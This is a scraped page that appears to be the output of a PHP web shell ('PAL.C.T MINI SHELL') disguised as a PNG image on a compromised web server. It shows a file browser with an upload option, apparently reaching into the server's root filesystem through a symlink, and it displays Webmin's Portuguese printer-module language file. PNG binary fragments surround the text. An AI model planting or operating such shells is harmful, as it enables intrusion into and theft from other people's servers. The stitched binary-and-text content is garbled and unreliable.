‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/pt_BR

index_title=Administração de Impressoras
index_header=Impressoras disponíveis
index_name=Impressora
index_desc=Descrição
index_to=Imprimir para
index_driver=Driver
index_enabled=Habilitado?
index_accepting=Aceitando?
index_jobs=Trabalhos
index_none=Não há impressoras instaladas neste sistema.
index_list=Lista..
index_jlist=Trabalhos..
index_jcount=$1 trabalhos..
index_add=Adiciona nova impressora.
index_stop=Parar Agendador
index_stopmsg=Clique neste botão para parar o processo em curso do agendador da impressora. Isto prevenirá que qualquer usuário local ou remoto imprima no seu sistema.
index_start=Iniciar Agendador
index_startmsg=Clique neste botão para iniciar o processo do agendador da impressora. Isto permitirá que qualquer usuário local ou remoto imprima no seu sistema.
index_restart=Reiniciar Agendador
index_restartmsg=Clique neste botão para reiniciar o processo do agendador de impressão. Isto irá forçar a configuração de impressão atual a ser aplicada.
index_return=lista de impressoras
index_esystem=Instale o programa que você escolher para sistema de impressão, ou use <a href='$1'>configuração do módulo</a> para alterá-lo.
index_style=Sistema de impressão: $1
index_cluster=Servidores de Cluster
index_clusterdesc=Clique neste botão para definir servidores adicionais do Webmin na qual as impressoras serão criadas, atualizadas e apagadas.
index_delete=Apagar Impressoras Selecionadas

style_solaris=Solaris
style_linux=LPR Linux
style_freebsd=LPR FreeBSD
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=Você não está autorizado a editar esta impressora
edit_eadd=Você não está autorizado a adicionar impressoras
edit_add=Criar Impressora
edit_edit=Editar Impressora
edit_conf=Configuração da Impressora
edit_name=Nome
edit_acc=Aceitar requerimentos?
edit_why=Não - Porque não
edit_desc=Descrição
edit_ena=Impressão ativada?
edit_acl=Controle de acesso
edit_allow=Permitir a todos
edit_deny=Negar a todos
edit_allowu=Permitir a usuários listados..
edit_denyu=Negar a usuários listados..
edit_banner=Imprimir página de cabeçalho?
edit_opt=Opcional
edit_default=Impressora padrão?
edit_already=Já é a impressora padrão
edit_max=Tamanho máximo dos trabalhos de impressão
edit_unlimited=Ilimitado
edit_dacc=O driver aceita
edit_dtext=Texto
edit_dpost=Postscript
edit_dother=Outros
edit_alt=Nomes alternativos da impressora
edit_dest=Destino da impressão
edit_dev=Dispositivo local
edit_file=Arquivo local
edit_remote=Servidor Unix remoto
edit_rqueue=Impressora
edit_type=Tipo
edit_smb=Servidor Windows remoto
edit_share=Impressora
edit_user=Usuário
edit_pass=Senha
edit_wgroup=Grupo de Trabalho
edit_hpnp=Servidor HPNP remoto
edit_port=Porta
edit_direct=Conexão direta TCP
edit_dport=Porta
edit_driver=Driver da impressora
edit_check=Verificar se o servidor remoto está no ar?

blocks=blocos

save_err=Erro ao salvar impressora
save_eadd=Você não está autorizado a adicionar impressoras
save_eedit=Você não está autorizado a editar esta impressora
save_ename='$1' não um nome de impressora válido
save_edup=Uma impressora chamada '$1' já existe
save_eallow=Não foram informados usuários para autorizar
save_edeny=Não foram informados usuários para negar
save_euser=O usuário '$1' não existe
save_etype=Você deve inserir ao menos um tipo para este driver ser aceito
save_emax=O tamanho máximo do trabalho de impressão deve ser um inteiro
save_efile='$1' não existe
save_erhost=O host remoto '$1' não existe
save_erport=A porta remota '$'' não é válida
save_erqueue='$1' não é um nome de fila de trabalho remota válida
save_eremote=Os driver não podem ser usados um impressoras Unix remotas
save_edhost=O host direto '$1' não existe
save_edport=Porta direta inválida ou faltando
save_evalid=O sistema de impressão não autorizou esta impressão
save_errslave=Impressora criada com sucesso no sistema, mas os seguintes erros ocorreram no sistema de cluster : $1
save_egone=Nenhuma impressora '$1' foi encontrada
save_errdelslave=Impressora apagada com sucesso no sistema, mas os seguintes erros ocorreram no sistema cluster : $1

jobs_title=Trabalhos de Impressão
jobs_header=Trabalhos de impressão em $1
jobs_id=ID do trabalho
jobs_size=Tamanho
jobs_by=Enviado por
jobs_when=Enviados às
jobs_file=Nome do Arquivo
jobs_cancel=Clique num ID do trabalho da lista acima para cancelar.
jobs_cancelview=Clique em um ID de trabalho na lista acima para cancelar, ou clique no tamanho do trabalho para vê-lo.
jobs_none=Não há trabalhos de impressão em $1
jobs_all=Cancelar todos os trabalhos de impressão
jobs_bytes=bytes
jobs_test=Imprimir Página de Teste
jobs_cancelsel=Cancelar Trabalhos Selecionados
jobs_on=Na impressora $1
jobs_return=lista de trabalhos de impressão

cancel_ecannot=Você não está autorizado a cancelar trabalhos de impressão
cancel_err=Erro ao cancelar a trabalho de impressão
cancel_egone=O trabalho de impressão $1 não existe mais

view_ecannot=Você não pode visualizar teste trabalho de impressão
view_egone=Este trabalho de impressão não existe mais

start_ecannot=Você não está autorizado a iniciar o agendador
start_err=Erro ao iniciar o agendador

stop_ecannot=Você não está autorizado a parar o agendador
stop_err=Erro ao parar o agendador

restart_ecannot=Você não está autorizado a reiniciar o agendador
restart_err=Falhou ao reiniciar o agendador

webmin_none=Nenhum
webmin_nonemsg=Impressora postscript ou de texto
webmin_remotemsg=Impressora remota
webmin_model=Modelo
webmin_prog=Programa
webmin_driver=Driver do Webmin
webmin_uniprint=Driver Uniprint
webmin_edrivers=Erro ao obter drivers de $1. Os drivers de impressão do Webmin que utilizem ghostscript não estarão disponíveis
webmin_egs=O comando $1 não foi encontrado. Os drivers de impressão do Webmin que utilizarem ghostscript não estarão disponíveis
webmin_edriver='$1' não existe

caldera_none=Nenhum
caldera_nonemsg=Impressora remota ou sem buffer
caldera_prog=Programa
caldera_coas=Controlador COAS
caldera_printer=Impressora e resolução
caldera_eof=Enviar fim-de-arquivo (EOF)?
caldera_paper=Dimensões do papel
caldera_double=Imprimir nos dois lados?
caldera_gsopts=Opções GS adicionais
caldera_uniprint=Driver de uni-impressão
caldera_eprog='$1' não existe
caldera_edriver=Nenhuma driver de impressora selecionado
caldera_eres=Não selecionada nenhuma resolução

redhat_none=Nenhum
redhat_nonemsg=Impressora postscript ou de texto
redhat_prog=Programa
redhat_driver=Driver da Redhat
redhat_printer=Impressora e resolução
redhat_eof=Enviar fim-de-arquivo (EOF)?
redhat_paper=Dimensões do papel
redhat_pages=Páginas por página de saída
redhat_gsopts=Opções GS adicionais
redhat_hmargin=Margem direita/esquerda
redhat_vmargin=Margem superior/inferior
redhat_crlf=Corrigir o texto em modo avanço-escalonado (stair-stepping)?
redhat_eprog='$1' não existe
redhat_edriver=Não foi selecionado nenhum driver de impressão
redhat_ehmargin=Margem direita/esquerda inválida ou faltando
redhat_evmargin=Margem superior/inferior inválida ou faltando
redhat_eres=Nenhuma resolução selecionada
redhat_printer2=Modelo de impressora e driver

suse_none=Nenhum
suse_nonemsg=Postscript ou impressão de texto
suse_prog=Programa
suse_driver=Driver APSfilter
suse_printer=Tipo de impressora
suse_res=Resolução em DPI
suse_colour=Cores da impressora?
suse_paper=Tamanho do papel
suse_method=Método de filtragem
suse_auto=Automático
suse_ascii=ASCII
suse_raw=Bruto
suse_extra=Opções extras do ghostscript
suse_yast2=Driver YAST2
suse_edriver=Nenhum tipo de impressora selecionado
suse_eres=Resolução inválida ou faltando

estop=Falhou ao parar lpd : $1

acl_printers=Impressoras que este utilizador pode configurar
acl_add=Pode adicionar novas impressoras?
acl_cancel=Pode cancelar tarefas de impressão?
acl_stop=Pode para ou iniciar o catalogador?
acl_restart=Somente reiniciar
acl_listed=Somente impressoras selecionadas ..
acl_pall=Todas as impressoras
acl_psel=Selecionadas..
acl_view=Exibir impressoras não-configuráveis?
acl_test=Pode imprimir páginas de teste?
acl_user=Gerenciar trabalhos de impressão de
acl_user_all=Todos os usuários
acl_user_this=Usuário atual do Webmin
acl_delete=Pode apagar impressoras?
acl_cluster=Pode gerenciar impressoras em cluster?

log_stop=Agendador de impressão parado
log_start=Agendador de impressão iniciado
log_restart=Agendador de impressão reiniciado
log_cancel_job=Cancelados $2 trabalhos de impressão em $1
log_cancel_all=Todos os trabalhos de impressão cancelados em $1
log_cancel_sel=Cancelados $2 trabalhos de impressão em $1
log_create=Impressora $1 criada em $2
log_modify=Impressora $1 em $2 modificada
log_delete=Impressora $1 em $2 apagada
log_create_l=$3 impressoras $1 criadas em $2
log_modify_l=$3 impressoras $1 modificadas em $2
log_delete_l=$3 impressoras $1 apagadas em $2

linux_paralel=Porta Paralela $1
linux_serial=Porta Serial $1 (COM$1)
linux_null=Dispositivo Vazio
linux_usb=Impressora USB $1
linux_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão do Linux não está instalado.
linux_espool=O diretório de spool $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão do Linux não está instalado.

freebsd_paralel=Porta Paralela
freebsd_serial=Porta Serial $1 (COM$1)
freebsd_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão do FreeBSD não está instalado.
freebsd_espool=O diretório de spool $1 não existe no seu sistemam, o que indica que o sistema de impressão do FreeBSD não está instalado.

openbsd_paralel=Porta Paralela
openbsd_serial=Porta Serial $1 (COM$1)

unixware_paralel=Porta Paralela $1
unixware_serial=Porta Serial $1
unixware_null=Dispositivo Nulo
unixware_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão UnixWare não está instalado.

hpux_paralel=Paralela $1
hpux_serial=Serial $1
hpux_null=Dispositivo Vazio
hpux_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão HPUX não está instalado.
hpux_eiface=O diretório de scripts de interface $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão HPUX não está instalado.

lprng_paralel=Porta Paralela $1
lprng_serial=Porta Serial $1 (COM$1)
lprng_null=Dispositivo Vazio
lprng_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão LPRng não está instalado.
lprng_espool=O diretório de spoll $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão LPRng não está instalado.

solaris_paralel=Porta Paralela
solaris_uparalel=Porta Paralela Ultra 5/10
solaris_serial=Porta Serial $1
solaris_null=Dispositivo Vazio
solaris_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão do Solaris não está instalado.

test_title=Imprimir Página de Teste
test_ecannot=Você não está autorizado a imprimir páginas de teste
test_desc=Este formulário permite imprimir uma página de teste para a impressora $1. Selecione o tipo de página que você deseja imprimir :
test_0=Página Postscript Branco e Preto
test_1=Página Postscript Colorida
test_2=Texto ASCII puro
test_3=Qualquer arquivo enviado
test_print=Imprimir página
test_exec=Imprimindo página de teste com o comando $1 ..
test_failed=.. comando falhou!
test_ok=.. comando completo.

cups_none=Nenhum
cups_nonemsg=Remoto ou impressora bruta
cups_prog=Programa
cups_driver=Driver do CUPS
cups_eprog='$1' não é um programa válido
cups_opts=Opções para $1
cups_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão CUPS não está instalado.

irix_ecmd=O comando $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão IRIX não está instalado.
irix_eiface=O diretório de scripts de interface $1 não foi encontrado no seu sistema, o que indica que o sistema de impressão IRIX não está instalado.

aix_port=Porta da impressora $1
aix_edesc=Descrição inválida - somente letras e números são permitidos, e sem espaços
aix_ecmd=O servidor de impressão AIX $1 não foi encontrado. Talvez ele não esteja instalado, ou outro sistema de impressão está em uso.

cluster_title=Servidores de Impressão em Cluster
cluster_none=Nenhum servidor foi adicionado ao cluster de impressão ainda.
cluster_host=Nome do computador
cluster_desc=Descrição
cluster_os=Sistema operacional
cluster_add=Adicionar servidor
cluster_gadd=Adicionar servidores no grupo
cluster_need=Você deve adicionar servidores com um nome de usuário e senha no Ãndice de Servidores do Webmin antes deles poderem serem gerenciador por aqui.
cluster_return=servidores de cluster
cluster_delete=Remover Selecionado
cluster_ecannot=Você não está autorizado a gerenciar o cluster de servidores de impressão

add_title=Adicionar Servidores
add_msg=Adicionando $1 ..
add_gmsg=Adicionando servidores no grupo $1 ..
add_err=Falhou ao adicionar servidor
add_gerr=Falhou ao adicionar grupo
add_echeck=O servidor $1 não possui o módulo de Administração de Impressoras
add_ediff=O servidor $1 está usando um sistema de impressão diferente ($2) para este servidor
add_ediff2=O servidor $1 está usando um driver de impressão diferente ($2) para este servidor
add_ok=Adicionados $1, com $2 impressoras.
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚